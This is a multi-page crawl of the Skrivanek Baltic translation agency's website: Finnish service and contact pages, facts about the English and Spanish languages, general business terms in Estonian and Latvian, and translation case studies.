hakukoneestaYstäviltä/tutuiltaFacebookTwitterLinkedInInstagramUlkomainoksestaMessuillaPainetusta mainoksestaSkrivanekin myyntiedustaja otti minuun yhteyttä *Hyväksyn henkilötietojeni käsittelyn SIA Skrivanek Balticin yksityisyyspolitiikassa kuvatulla tavalla. Saada 0+ Eri kieliyhdistelmää 0+ milj. Käännettyä sanaa vuonna 2023 0+ Kielten asiantuntijaa 0 ISO-sertifikaattia KÄÄNNÖKSET Tarjoamme korkealaatuisia käännöksiä tarvittavilla kieliyhdistelmillä luottamuksellisesti ja määräaikoja kunnioittaen. Lue lisää TULKKAUS Tarjoamme kaikenlaisia tulkkauspalveluita erilaisilla yhdistelmillä yli 40 kielellä. Lue lisää LOKALISOINTI Emme tarjoa vain käännöksiä vaan varmistamme myös, että lokalisoidut tuotteet ja ohjelmistot toimivat. Lue lisää KIELIKOULUTUKSET Tarjoamme käytännön kielikoulutusta niin eri tasoisille yksilöille kuin yritysten työntekijöille ja instituutioille. Lähetä tiedustelu TARJOAMME KIELIRATKAISUJA ERI ALOILLE YLI 300 KIELIYHDISTELMÄLLÄ Englannin kieli Espanjan kieli Italian kieli Kreikan kieli Liettuan kieli Norjan kieli Puolan kieli Ranskan kieli Ruotsin kieli Saksan kieli Suomen kieli Tanskan kieli Tsekin kieli Ukrainan kieli Venäjän kieli Viron kieli Vakuutusala Rakentaminen HR Talous ja pankki IT ja pelaaminen Maatsätalous Laki Metsätalous Tekniikka ja rautatiet Lääketiede ja kliiniset tutkimukset Valmistus Mainonta ja markkinointi Kauppa Matkailu Hallinto- ja kuntalaitokset LUOTETTAVUUS, NOPEUS JA PALVELUIDEN LAATU KRKA, d. d. Skrivanekin työntekijät ovat avuliaita, mukautuvia ja ymmärtävät lähestymistapamme lääkealan käännöstyön erityistarpeisiin ja eri kieliyhdistelmien käännöksiin. Tilaukset toteutetaan korkealuokkaisesti korkeimman ammatillisen ja eettisen pätevyyden mukaisesti ja asetettuja määräaikoja noudattaen.  Adidas Baltic Skrivanekin työntekijät ovat avuliaita ja ymmärtävät lähestymistapamme Baltian kielten käännöstehtävien erityispiirteisiin. Adidas Baltic suosittelee tämän yrityksen tarjoamien palveluiden käyttöä muille yrityksille.  Sandoz d. d. Suosittelemme Skrivanek Balticia luotettavana kumppanina mihin tahansa laajempaan projektiin, joka vaatii ammattitaitoisia kielipalveluita.  --- > Esitä kysymys tai pyydä ilmainen tarjous täyttämällä yhteydenottolomake! | Lāčplēša 87C, Riika | birojs@skrivanek.lv. - Published: 2022-06-13 - Modified: 2024-10-29 - URL: https://skrivanek.lv/kontakti/ - Translation Priorities: Optional if (typeof(gem_fix_fullwidth_position) == "function") { gem_fix_fullwidth_position(document. getElementById("fullwidth-block-6887302a68321")); } PYYDÄ HINTATARJOUS / LÄHETÄ KYSYMYS Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Asiakas *YksityishenkilöYritys Nimi ja sukunimi. *Puhelin Lisää Poista Nimi ja sukunimi. *Puhelin Lisää Poista Yrityksen nimi *Puhelin Lisää Poista Yrityksen nimi *Puhelin Lisää Poista Sähköposti *Kieliyhdistelmä Lisää Poista Sähköposti *Kieliyhdistelmä Lisää Poista ViestisiAsiakirjan lataus, enintään 20 MB, jos asiakirja ylittää rajan, kirjoita se viestiin, niin otamme sinuun yhteyttä Click or drag files to this area to upload. You can upload up to 10 files. Miten kuulit meistä? Miten kuulit meistä? Olen Skrivanekin asiakasGooglen hakukoneestaYstäviltä/tutuiltaFacebookTwitterLinkedInInstagramUlkomainoksestaMessuillaPainetusta mainoksestaSkrivanekin myyntiedustaja otti minuun yhteyttä *Hyväksyn henkilötietojeni käsittelyn SIA Skrivanek Balticin yksityisyyspolitiikassa kuvatulla tavalla. Saada YHTEYSTIEDOT – SKRIVANEK BALTIC TOIMISTO  Lāčplēša iela 87C, Riga, Latvia, LV-1011 (Waze) Ma–pe 9. 00–17. 30Viestintä vain englanniksi, venäjäksi tai latviaksi. birojs@skrivanek. lv TYÖNTEKIJÄMME Vasilijs Ragačevičs Johtaja vasilijs@skrivanek. lv Ivars Treskovskis Käännösprojektijohtaja ivars@skrivanek. lv Aiga Matveja Koulutuskeskuksen päällikkö macibas@skrivanek. lv Lelde Calmane Laatuosaston päällikkö lelde@skrivanek. lv Jānis Luns Markkinointipäällikkö janis. luns@skrivanek. lv Jeļena Lapoška Hallintojohtaja jelena. laposka@skrivanek. lv Uldis Krūmiņš IT-päällikkö uldis@skrivanek. lv Dana Laizāne Lokalisointi- ja tekoälyhankkeiden johtaja dana@skrivanek. lv --- > Yleis- ja erikoiskäännökset englanniksi. Notaarin oikeaksi todistamat käännökset. Tulkkauspalvelut ja muut englanninkieliset ratkaisut. - Published: 2022-06-13 - Modified: 2024-08-22 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-anglu-valoda/ - Translation Priorities: Optional PYYDÄ HINTATARJOUS / LÄHETÄ KYSYMYS Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Asiakas *YksityishenkilöYritys Nimi ja sukunimi. *Puhelin Lisää Poista Nimi ja sukunimi. *Puhelin Lisää Poista Yrityksen nimi *Puhelin Lisää Poista Yrityksen nimi *Puhelin Lisää Poista Sähköposti *Kieliyhdistelmä Lisää Poista Sähköposti *Kieliyhdistelmä Lisää Poista ViestisiAsiakirjan lataus, enintään 20 MB, jos asiakirja ylittää rajan, kirjoita se viestiin, niin otamme sinuun yhteyttä Click or drag files to this area to upload. You can upload up to 10 files. Miten kuulit meistä? Miten kuulit meistä? Olen Skrivanekin asiakasGooglen hakukoneestaYstäviltä/tutuiltaFacebookTwitterLinkedInInstagramUlkomainoksestaMessuillaPainetusta mainoksestaSkrivanekin myyntiedustaja otti minuun yhteyttä *Hyväksyn henkilötietojeni käsittelyn SIA Skrivanek Balticin yksityisyyspolitiikassa kuvatulla tavalla. Saada ISO-sertifikaattien takaamaa laatua ja luottamuksellisuuttaProjektipäällikkömme puhuvat latviaa, venäjää, englantia, saksaa ja puolaa99 % asiakkaista saa hintatarjouksen alle 15 minuutissaYli 3 000 kielen ammattilaista ja äidinkielenään puhuvaaYli 98 % asiakkaistamme suosittelisi meitä ystävilleen ja yrityskumppaneilleenToimistollamme käännetään yli 16 miljoonaa sanaa joka vuosi FAKTOJA ENGLANNIN KIELESTÄ Nykyenglanti syntyi 600-luvulla, jolloin nykyisen Ison-Britannian saarille saapui kolme germaanista heimoa, englantilaiset, saksilaiset ja juutit, jotka 600- ja 700-luvulla sekoittuivat paikallisten Brittein saarten kansojen, kelttiläisten, piktien ja skottien yhteisöjen kanssa muodostaen anglosaksien heimot. Englannin kielen historia voidaan jakaa kolmeen jaksoon: muinaisenglanti tai anglosaksien kieli (700–1000-luvulla); keskienglanti (1100–1500-luvulla); nykyenglanti (1500-luvun puolivälistä nykypäivään). Englannin kieli on indoeurooppalaiseen kieliryhmään kuuluva länsigermaaninen kieli. Noin 400 miljoonaa ihmistä puhuu englantia äidinkielenään. Näin ollen se on maailman kolmanneksi eniten äidinkielenä puhuttu kieli, heti kiinan ja hindin jälkeen. Jos mukaan lasketaan kaikki englantia osaavat ihmiset, englanti on maailmassa toiseksi eniten puhuttu kieli. 800-luvulta lähtien englannin kieltä on kirjoitettu latinalaisilla aakkosilla, joissa on 26 kirjainta. Englannin kielessä on aktiivisessa käytössä noin 171 476 sanaa, minkä lisäksi se sisältää noin 47 156 vanhentunutta sanaa. Niihin voi lisätä noin 9500 johdannaista. Noin puolet kielen sanoista on nomineja, neljäsosa adjektiiveja ja noin seitsemäsosa verbejä. Muut sanat ovat interjektioita, konjunktioita, prepositioita ym. Ensimmäinen englantilainen kirjanpainaja ja latoja oli William Caxton (1422–1491), joka noin vuonna 1471 painoi ensimmäisen englanninkielisen kirjan. Hän perusti oman kirjapainon Englannin Westminsteriin vuonna 1476. Englannin kieli on virallinen valtiollinen kieli useissa valtioissa, kuten Yhdysvalloissa, Australiassa, Etelä-Afrikassa, Uudessa Seelannissa, Kanadassa, Yhdistyneessä kuningaskunnassa sekä useissa Karibianmeren ja Tyynenmeren saarivaltioissa. Se on yksi virallisista kielistä useissa Afrikan maissa, Filippiineillä, Intiassa ja Singaporessa. Maailmassa on useita englannin kielen muotoja, jotka kaikki eroavat toisistaan ääntämiseltään, sanastoltaan ja kieliopiltaan: amerikanenglanti, australianenglanti, brittienglanti, kanadanenglanti ym. Jokaisella englannin kielen muodolla on useita murteita. Esimerkiksi tärkeimmät brittienglannin murteet ovat Etelä-Englannin murre, Keski-Englannin murre, Pohjois-Englannin murre sekä Irlannin murre, Skotlannin murre, Walesin murre ym. SUOSITUIMPIA KIELIPALVELUITA ASIAKKAIDEMME KESKUUDESSA: yleisetja alakohtaiset käännökset; notaarin vahvistamat käännökset; lokalisointi; konekäännökset; DTP – työpöytäjulkaiseminen; tekstien muokkaus ja suunnittelu; tulkkaus; kielikoulutukset; kielellinen auditointi; jne. KIELIYHDISTELMÄT Latvia-englanti, englanti-latvia, viro-englanti, englanti-viro, liettua-englanti, englanti-liettua, venäjä-englanti, englanti-venäjä, puola-englanti, englanti-puola, ukraina-englanti, englanti-ukraina, englanti-espanja, espanja-englanti, saksa-englanti, englanti-saksa, italia-englanti, englanti-italia, ranska-englanti, englanti-ranska, tanska-englanti, englanti-tanska, tšekki-englanti, englanti-tšekki, norja-englanti, englanti-norja, ruotsi-englanti, englanti-ruotsi, suomi-englanti, englanti-suomi ja muita. --- > Yleis- ja erikoiskäännökset, notaarin oikeaksi todistamat käännökset, tulkkauspalvelut ja muut espanjankieliset ratkaisut. Espanjan kielen kurssit. - Published: 2022-06-13 - Modified: 2024-08-22 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-spanu-valoda/ - Translation Priorities: Optional PYYDÄ HINTATARJOUS / LÄHETÄ KYSYMYS Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Asiakas *YksityishenkilöYritys Nimi ja sukunimi. *Puhelin Lisää Poista Nimi ja sukunimi. *Puhelin Lisää Poista Yrityksen nimi *Puhelin Lisää Poista Yrityksen nimi *Puhelin Lisää Poista Sähköposti *Kieliyhdistelmä Lisää Poista Sähköposti *Kieliyhdistelmä Lisää Poista ViestisiAsiakirjan lataus, enintään 20 MB, jos asiakirja ylittää rajan, kirjoita se viestiin, niin otamme sinuun yhteyttä Click or drag files to this area to upload. You can upload up to 10 files. Miten kuulit meistä? Miten kuulit meistä? Olen Skrivanekin asiakasGooglen hakukoneestaYstäviltä/tutuiltaFacebookTwitterLinkedInInstagramUlkomainoksestaMessuillaPainetusta mainoksestaSkrivanekin myyntiedustaja otti minuun yhteyttä *Hyväksyn henkilötietojeni käsittelyn SIA Skrivanek Balticin yksityisyyspolitiikassa kuvatulla tavalla. Saada ISO-sertifikaattien takaamaa laatua ja luottamuksellisuuttaProjektipäällikkömme puhuvat latviaa, venäjää, englantia, saksaa ja puolaa99 % asiakkaista saa hintatarjouksen alle 15 minuutissaYli 3 000 kielen ammattilaista ja äidinkielenään puhuvaaYli 98 % asiakkaistamme suosittelisi meitä ystävilleen ja yrityskumppaneilleenToimistollamme käännetään yli 16 miljoonaa sanaa joka vuosi FAKTOJA ESPANJAN KIELESTÄ Espanjan kielen alkuperä voidaan jäljittää aina 800-luvulle asti. Se kasvoi erilleen puhekielenä käytetystä latinasta, jonka roomalaislegioonat toivat Iberian niemimaalle kolmannella vuosisadalla eaa. Espanja, tai kastilia, kuuluu indoeurooppalaisen kielikunnan romaanisiin kieliin. Se on noin 400 miljoonan ihmisen äidinkieli, mikä tekee siitä maailman toiseksi suurimman kielen mandariinikiinan jälkeen. Espanja on virallinen kieli Espanjassa sekä Väli- ja Etelä-Amerikan maissa lukuun ottamatta Brasiliaa, Ranskan Guayanaa ja Haitia. Se on myös yleinen Yhdysvalloissa (etenkin Arizonassa, Kaliforniassa, Coloradossa, New Yorkissa, New Mexicossa ja Texasissa), Alankomaiden Antilleilla sekä entisissä Espanjan siirtomaissa Afrikassa (Guinea, Marokko ja Länsi-Sahara). Ensimmäiset kirjalliset lähteet espanjaksi ovat säilyneet 1000-luvulta. Espanjassa käytetään 29 kirjaimen latinalaista aakkostoa. Kieli koostuu noin 100 000 sanasta. Substantiiveja ja adjektiiveja ei taivuteta espanjassa. Substantiivien merkityssuhde luodaan prepositioiden avulla. Erityinen espanjalainen ortografinen ominaisuus on käännetyn kysymys- ja huutomerkin käyttö lauseen alussa. Esimerkiksi ‘¿Qué pasa? ’ (Mitä tapahtui? ). Ääntäminen ja kielen käyttö vaihtelee eri maissa, mutta erot eivät ole niin merkittäviä, että ne estäisivät keskinäisen ymmärryksen. Espanjassa on kaksi päämurretta: andalusia ja kastilia. Espanjan, eli kastilian, kirjakieli perustuu kastilian murteeseen. Koska se on universaali, sitä ymmärtävät kaikki espanjan puhujat. SUOSITUIMPIA KIELIPALVELUITA ASIAKKAIDEMME KESKUUDESSA: yleisetja alakohtaiset käännökset; notaarin vahvistamat käännökset; lokalisointi; konekäännökset; DTP – työpöytäjulkaiseminen; tekstien muokkaus ja suunnittelu; tulkkaus; kielikoulutukset; kielellinen auditointi; jne. KIELIYHDISTELMÄT Latvia-espanja, espanja-latvia, viro-espanja, espanja-viro, liettua-espanja, espanja-liettua, venäjä-espanja, espanja-venäjä, puola-espanja, espanja-puola, ukraina-espanja, espanja-ukraina, englanti-espanja, espanja-englanti, saksa-espanja, espanja-saksa, italia-espanja, espanja-italia, ranska-espanja, espanja-ranska, tanska-espanja, espanja-tanska, espanja-tšekki, tšekki-espanja, norja-espanja, espanja-norja, ruotsi-espanja, espanja-ruotsi, suomi-espanja, espanja-suomi ja muita. --- - Published: 2022-05-24 - Modified: 2022-05-24 - URL: https://skrivanek.lv/komercnoteikumi/ - Translation Priorities: Optional 1. PÕHISÄTTED 1. 1. Šie vispārējie komercnoteikumi nosaka SIA “Skrivanek Baltic”, reģistrācijas numurs: 40003626172, juridiskā adrese: Lāčplēša 87C, Riia, Läti, LV-1011, turpmāk tekstā – Izpildītājs, un tās klientu, turpmāk tekstā – Pasūtītājs, bet abi kopā – Puses, sadarbības principus. 1. 2. Äritingimuste ese on selliste teenuste, edaspidi „tellimus“, osutamine, mis on ettevõtte SIA Skrivanek Baltic tegevusalad, eelkõige kirjalikud ja suulised tõlked vastavalt neile äritingimustele ja tellimuses kokku lepitud tingimustele. 1. 3. Tellija ja teostaja vahelised lepingulised suhted luuakse kirjaliku tellimuse vormistamisega, sealhulgas kirjavahetusega e-posti teel, milles pooled lepivad kokku tellimuse täitmise aja ja korra ning tasumise tingimused. 2. KIRJALIKUD TÕLKED 2. 1. Teostaja lepib vastavalt punktile 1 kokku tellimuse ning täidab selle kindlaks määratud keeles ja ajaks, andes selle tellijale üle kokku lepitud kujul. 2. 2. Tellija kohustub nõuetekohaselt täidetud tellimuse vastu võtma ja tasuma teostajale kokku lepitud hinna. 2. 3. Tellija on kohustatud võtma tellimuse vastu kindlaks määratud ajal ja kujul. 2. 4. Tellija või tema volitatud töötaja on kohustatud telefoni teel või kirjalikult (näiteks e-posti teel) kinnitama tellimuse vastuvõtmist, viidates, et see on vastu võetud õigeaegselt. Kui tellija ei täida seda kohustust ega tuleta 24 tunni jooksul pärast tellimuse üleandmise tähtaega telefoni teel või kirjalikult (näiteks e-posti teel) tellimust meelde, võib teostaja lugeda, et tellija on tellimuse õigeaegselt kätte saanud ning tal puuduvad pretensioonid selle täitmise aja ja korra kohta. 2. 5. Tellimuse täitmise tähtaega ei ole ületatud, kui teostaja saadab tellija meeldetuletusel talle tellimuse uuesti ja tõendab, et on selle juba saatnud tellimuses määratud ajal ja kujul. 2. 6. Kui teostaja hilineb ilma mõjuva põhjuseta tellimuse üleandmisega, on tellijal õigus nõuda leppetrahvi 0,1% tellimuse summast iga hilinetud päeva eest, kuid mitte rohkem kui 10% tellimuse summast. 2. 7. Kui tellimust ei ole mõjuvatel põhjustel võimalik tellijale eelnevalt määratud kujul üle anda, valib teostaja teise tellimuse üleandmise kuju, mille kulud katab tellija, millest teda eelnevalt hoiatatakse. 2. 8. Kui tellija ei esita määratud ajaks pretensiooni ega nimeta mõjuvat põhjust, kuid keeldub nõuetekohaselt täidetud tellimuse vastuvõtmisest, siis loetakse tellimus täidetuks ja teostajal on õigus väljastada arve, mille tellija on kohustatud tasuma. 3. SUULISED TÕLKED 3. 1. Teostaja lepib vastavalt punktile 1 kokku tellimuse ning täidab selle (suulise tellimuse) kindlaks määratud keeles, kohas ja ajal. 3. 2. Tellija kohustub nõuetekohaselt täidetud tellimuse vastu võtma ja tasuma teostajale suulise tõlke eest kokku lepitud hinna. 3. 3. Teostaja tagab suulise tõlkimise tõlgi või tõlkide vahendusel. 3. 4. Tellija on kohustatud võtma tõlke vastu kindlaks määratud ajal ja kujul, mis on nimetatud tellimuse vormil. 3. 5. Kui suuline tõlge tehakse vastavalt kindlaks määratud nõuetele ja ajal ning tellijal ei ole tekkinud pretensioone, on tellija või tema volitatud isik kohustatud kohe pärast tõlkimist kinnitama suulise tõlke tegemise akti vormil kirjalikult, et tõlge on tehtud vajaliku kvaliteediga ja ajal. 3. 6. Kui tellija keeldub ilma põhjuseta nõuetekohaselt tehtud suulise tõlke vastuvõtmisest ega esita määratud ajaks pretensiooni, siis loetakse tellimus täidetuks ja teostajal on õigus väljastada arve, mille tellija on kohustatud tasuma. 3. 7. Teostaja kohustub hoidma saladuses kogu teavet, mis on seotud suulise tõlke teemaga, samuti kohustub ta pidama arvet kõigi tellijalt saadud abimaterjalide, eriti konfidentsiaalse teabe üle. 3. 8. Tellijal ei ole õigust nõuda, et tõlk või tõlgid teeksid muud kui tellimuse vormil nimetatud tööd, näiteks kirjalikku tõlget, koosoleku protokollimist jne. 3. 9. Teostajal on õigus nõuda tasu tõlgi või tõlkide kogu kokku lepitud tööaja eest ka siis, kui tellija ei kasuta kogu seda aega ära. 3. 10. Tellija on kohustatud tagama kindlaks määratud suulise tõlke liigile vastavad töötingimused, sealhulgas tehnilise varustuse, kui seda ei tellita teostajalt. 3. 11. Tellija on kohustatud tagama tõlgi või tõlkide transportimise kokkulepitud kohast kohta, kus tuleb tõlkida. 3. 12. Kui tõlk või tõlgid kasutavad erasõidukit, katab tellija teostajaga kooskõlastamisel kõik tõlgi või tõlkide sõidukulud. 3. 13. Tellija peab tagama tõlgile öömaja – ühekohalise mugavustega toa. 3. 14. Tellija on kohustatud tagama tõlgile või tõlkijale kord nelja tõlkimistunni jooksul vähemalt 30 minuti pikkuse lõuna- ja puhkepausi. 3. 15. Suulise tõlkimise päeva pikkus on kaheksa (8) tundi, mille hulka kuuluvad ka pausid. 3. 16. Tellijal on õigus kompensatsioonile aja eest, mille võrra on tõlk hilinenud. 4. POOLTE ÕIGUSED JA KOHUSTUSED 4. 1. Kui tellijal on ettevõtte siseselt kinnitatud terminoloogiline sõnastik, on soovitatav anda see tellimuse täitmise ajaks teostaja käsutusse, samuti on soovitatav anda teostajale teisi abimaterjale, mis võivad aidata õige terminoloogia valimisel, või määrata vastutav isik, kes annab vajalikku nõu. 4. 2. Tellija peab vähemalt kolm päeva enne suulist tõlkimist saatma teostajale abimaterjalid (näiteks varasema koosoleku protokollid, referaadid, esitlus- või muud materjalid). Kui nimetatud tingimust ei täideta, ei kuulu võimalikud pretensioonid suulise tõlkimise ajal ebatäpsete terminite kasutamise kohta läbivaatamisele. 4. 3. Teostaja ei vastuta võimalike tagajärgede eest, mis on seotud tellija autoriõiguste rikkumistega. 4. 4. Teostaja kohustub hoidma saladuses kogu teavet, mis on seotud tellimuse teemaga, samuti kohustub ta pidama arvet kõigi tellijalt saadud materjalide, eriti konfidentsiaalse teabe üle. 4. 5. Tellija kohustub mitte võtma ilma teostaja nõusolekuta ühendust teostaja tõlkija või tõlgiga. Kui teostaja nõustub, et tellija võtab ühendust tõlkija või tõlgiga, kohustub tellija mitte avaldama tõlkijale või tõlgile teavet, mis puudutab tellija ja teostaja vahelise lepingu konkreetset sisu. Selle punkti tingimuste rikkumise maksab tellija teostajale leppetrahvi 500 eurot. 5. PRETENSIOONID 5. 1. Täidetud tellimusel on vead juhul, kui see ei ole täidetud kooskõlas tellimuses nimetatud tingimustega. 5. 2. Kirjalikul tõlkel on vead ka siis, kui see ei ole tehtud nõuetekohase grammatilise, stilistilise või semantilise kvaliteediga. 5. 3. Kui punktides 5. 1 ja 5. 2 nimetatud vigu ei tuvastata, siis loetakse, et tellimus on täidetud nõuetekohaselt ja kooskõlas tellija nõudmistega. 5. 4. Pretensioonid tuleb esitada kirjalikult (näiteks e-posti teel). Pretensioone tuleb põhjendada ning neis tuleb esitada vigade laad ja võimalusel ka arv. 5. 5. Kui teostaja tunnistab tellija pretensiooni põhjendatuks, siis teeb teostaja tellimuse ümber. Sellisel juhul on tellijal õigus saada tellimuse hinnast soodustust. 5. 6. Tellijale antakse vastava tellimuse hinnast soodustust, kui teostaja tunnistab põhjendatuks tellija pretensiooni, mille aluseks ei ole punktis 5. 2 nimetatud vead või kui tellija keeldub pakutud korrektuurist. 5. 7. Soodustuse suurus määratakse kindlaks vastavalt spetsialisti arvamusele või poolte vahelisele kokkuleppele. 5. 8. Kui poolte vahel tekib vaidlus seoses tellija õigeaegselt esitatud pretensiooniga, milles on loetletud punktis 5. 2 nimetatud vigu, kohustuvad pooled alguses vaidluse lahendada kohtuväliselt, lähtudes sõltumatu spetsialisti arvamusest. Spetsialisti valimises lepivad pooled omavahel kokku. 5. 9. Soodustuse suurus sõltub spetsialisti arvamusest või poolte kokkuleppest. 5. 10. Täidetud tellimusel esinevate vigadega seotud võimalike kahjude eest vastutab teostaja. Pooled lepivad kokku, et kahjunõude suurus piiratakse tellimuse hinnaga ja kahjusid hüvitatakse kuni selle ulatuses. 5. 11. Äritõlgete korral, st kui tellija on äriühing, on ta kohustatud esitama teostajale pretensioonid vigade kohta ilma liigse viivitusteta pärast nende märkamist, kuid mitte hiljem kui 21 päeva jooksul pärast tellimuse kättesaamist. 5. 12. Kui tellija on füüsiline isik, on tal õigus esitada nõue vastavalt tarbijate õiguste kaitse seadusele. 5. 13. Hilinemisega esitatud pretensiooni läbi ei vaadata ja see loetakse kehtetuks. 6. ARVELDUSTE KORD 6. 1. Tellimuse hinna arvutamise aluseks on teostaja kehtiv hinnakiri ja selles esitatud hinna arvutamise viis. 6. 2. Kui tellimuse ligikaudne hind tuleneb ainult ühikute ligikaudsest arvust, arvutatakse hind reaalsete ühikute (sihtkeelde tehtud tõlke) alusel pärast tõlkimist. 6. 3. Teostajal on õigus väljastada osutatud teenuste kohta arve kohe pärast tellimuse täitmist, võttes aluseks tellimuses esitatud tingimused. 6. 4. Tellimuse eest tasutakse vastavalt teostaja väljastatud arvele. Tellija peab selle tasuma määratud maksetähtajaks. 6. 5. Kui tellija hilineb arve tasumisega, arvutatakse viivist 0,01% võlasummast iga tasumisega hilinetud päeva eest. 6. 6. Lepingus sätestatud mis tahes makse tasumisega hilinemisel kasutatakse tellija tasutud raha kõigepealt viivise tasumiseks, ülejäänud osa summast kasutatakse vastava võlasumma kustutamiseks. 6. 7. Poolte kokkuleppel võib teostaja väljastada tellijale ettemaksuarve maksumusega 50% tellimuse summast. Ettemaksuarve tuleb tasuda määratud tähtajaks. 7. FÜÜSILISTE ISIKUTE ANDMETE KAITSE 7. 1. Pooled kohustuvad järgima isikuandmete kaitset sätestavate õigusaktide nõudeid, sh Euroopa Parlamendi ja nõukogu määrust (EL) 2016/679 füüsiliste isikute kaitse kohta isikuandmete töötlemisel ja selliste andmete vaba liikumise ning direktiivi 95/46/EÜ kehtetuks tunnistamise kohta (isikuandmete kaitse üldmäärust), st tagama, et isikuandmeid: 7. 1. 1. töödeldakse seaduslikult, õiglaselt ja andmesubjektidele läbipaistvalt; 7. 1. 2. töödeldakse tellimuse täitmiseks ning et isikuandmeid ei töödelda tellimuse täitmisega mitte ühilduval viisil; 7. 1. 3. töödeldakse viisil, millega tagatakse õigusaktide nõuetele vastav andmete kaitse, sealhulgas kaitse loata või ebaseadusliku töötlemise eest ning juhusliku kaotamise, hävimise või kahjustumise eest, kasutades asjakohaseid tehnilisi või korralduslikke meetmeid. 7. 2. Kumbki pool vastutab isikute (andmesubjektide) teavitamise eest nende andmete töötlemisest, mida pool teeb vastutava töötlejana. 7. 3. Pooled kohustuvad mitte andma saadud isikuandmeid üle kolmandatele isikutele ilma selle poole kirjaliku nõusolekuta, kellelt pool on isikuandmed saanud. Kui pool on kohustatud vastavalt õigusaktidele saadud isikuandmed avaldama, peab ta isikuandmete üleandmisest teavitama poolt, kellelt pool on isikuandmeid saanud, kui seda ei keela õigusaktid. 7. 1. 3. tiks apstrādāti tādā veidā, lai nodrošinātu normatīvajiem aktiem atbilstošu datu drošību, t. sk. aizsardzību pret neatļautu vai nelikumīgu apstrādi un nejaušu nozaudēšanu, iznīcināšanu vai sabojāšanu, izmantojot atbilstošus tehniskos vai organizatoriskos pasākumus. 7. 2. Katra Puse ir atbildīga par personu (datu subjektu) informēšanu par viņu personas datu apstrādi, ko veic kā datu pārzinis. 7. 3. Puses apņemas nenodot saņemtos personas datus trešajām personām bez tās Puses iepriekšējas rakstveida piekrišanas, no kuras tā ir saņēmusi personas datus. Ja saskaņā ar normatīvajiem aktiem Pusei ir pienākums izpaust saņemtos personas datus, tās pienākums par personas datu nodošanu informēt Pusi, no kuras tā ir saņēmusi personas datus, ja vien to neaizliedz normatīvie akti. 7. 4. Izpildītājam ir pienākums saglabāt šī līguma ietvaros saņemtos Personas datus konfidenciālus nenoteiktu laika periodu gan līguma darbības laikā, gan pēc tā. 7. 5. Izpildītājam ir pienākums nodrošināt, ka tā darbinieki un/vai pilnvarnieki, un/vai apakšuzņēmēji ievēro šajā punktā minēto konfidencialitātes prasību nenoteiktu laika periodu, ja vien Eiropas Savienības vai Latvijas Republikas normatīvie akti nav uzlikuši Izpildītājam pienākumu izpaust šo informāciju valsts un/vai pašvaldību iestādēm. 7. 6. Puses nodrošina, ka šī līguma ietvaros saņemtajiem personas datiem ir piekļuve tikai tiem saviem darbiniekiem, pilnvarniekiem vai apakšuzņēmējiem, kas iesaistīti līguma izpildē un tikai tādā apmērā, kas nepieciešams to pienākumu veikšanai līguma saistību izpildē. 7. 7. Izpildītājam ir pienākums nekavējoties informēt ne tikai uzraugošo iestādi, bet arī Pasūtītāju par gadījumiem, kad ir noticis līguma ietvaros saņemto personas datu apstrādes pārkāpums vai radušās aizdomas, ka tas varētu iestāties. Informēšana notiek ne vēlāk kā 72 stundas pēc pārkāpuma atklāšanas. 7. 8. Puses apliecina, ka personas datu apstrāde tiek veikta tikai Eiropas Savienības (ES) un Eiropas Ekonomikas zonas (EEZ) valstīs. 7. 9. Puses ir atbildīgas par atbilstošu pasākumu nodrošināšanu un īstenošanu saņemto personas datu aizsardzībā (t. sk. , tehnisko un organizatorisko pasākumu veikšanu, personas datu apstrādes sistēmu aizsardzību) tādā veidā, lai apstrādē ir ievērotas Eiropas Savienības un Latvijas Republikas normatīvo aktu prasības un novērsta nesankcionēta piekļuve personas datiem. 8. VAIDLUSTE LAHENDAMISE KORD 8. 1. Vaidlused, mis tekivad lepingu täitmise käigus või seoses selle lepinguga, lahendavad pooled läbirääkimiste teel 60 (kuuekümne) päeva jooksul. Kokkulepe vaidluse lahendamise kohta vormistatakse kirjalikult ja pooled allkirjastavad selle. Nimetatud kokkulepe lisatakse antud lepingule. Kui kokkulepet ei saavutata, lahendatakse vaidlus Läti Vabariigi õigusaktides sätestatud korras. 18. 08. 2021. --- - Published: 2022-05-24 - Modified: 2024-01-03 - URL: https://skrivanek.lv/gadijumu-izpete/ - Translation Priorities: Optional Lõppklient: Biomet Projekt: tõlkimine – meditsiinilised juhendid Lähtekeel: inglise Sihtkeeled: tšehhi, slovaki, poola, sloveeni, ungari, leedu, läti, eesti Maht: u 40 000 sõnaLoe lähemalt Lõppklient: Euroopa Komisjon Projekt: õigus-, põllumajandus- ja IT-alaste tekstide tõlked Lähtekeel: paljud ELi keeled Sihtkeeled: tšehhi, slovaki, poola, sloveeni, ungari, leedu, läti, eesti, rumeenia, bulgaaria Maht: u 100 000 lehekülgeLoe lähemalt Lõppklient: GE Healthcare Projekt: meditsiinitehniliste juhendite tõlkimine ja graafilised tööd Lähtekeel: inglise Sihtkeeled: tšehhi, bulgaaria, horvaadi, eesti, ungari, leedu, läti, poola, rumeenia, vene, serbia, slovaki, sloveeni, türgi Maht: u 8 miljonit sõnaLoe lähemalt Lõppklient: Geutebrück Projekt: tõlkimine – tehnilised dokumendid ja turundustekstid Lähtekeel: saksa Sihtkeeled: inglise, prantsuse, itaalia, hispaania, vene, türgi, hollandi, araabia, leedu Maht: u 3 miljonit sõnaLoe lähemalt Lõppklient: Kallfass Projekt: tõlkimine – tehnilised dokumendid ja turundustekstid Lähtekeel: saksa Sihtkeeled: norra, eesti, leedu, soome, rootsi, tšehhi, ungari, poola, rumeenia, serbia, kreeka, prantsuse, itaalia, portugali Maht: u 750 000 sõnaLoe lähemalt KAS VAJATE KIRJALIKKU VÕI SUULIST TÕLGET? Hinnapakkumise koostamisel võtame aluseks teie soovid. Saada päring ROHKEM KUI 25 AASTAT KOGEMUST! Võimaldab meil pakkuda teile parimaid tõlkelahendusi. 0+ keelt erinevates kombinatsioonides 0+ milj. tõlgitud sõna (2023) 0+ keeleeksperti 0 ISO sertifikaati --- - Published: 2022-05-24 - Modified: 2024-01-03 - URL: https://skrivanek.lv/gadijumu-izpete/biomet/ - Translation Priorities: Optional Lõppklient: Biomet Projekt: tõlkimine – meditsiinilised juhendid Lähtekeel: inglise Sihtkeeled: tšehhi, slovaki, poola, sloveeni, ungari, leedu, läti, eesti 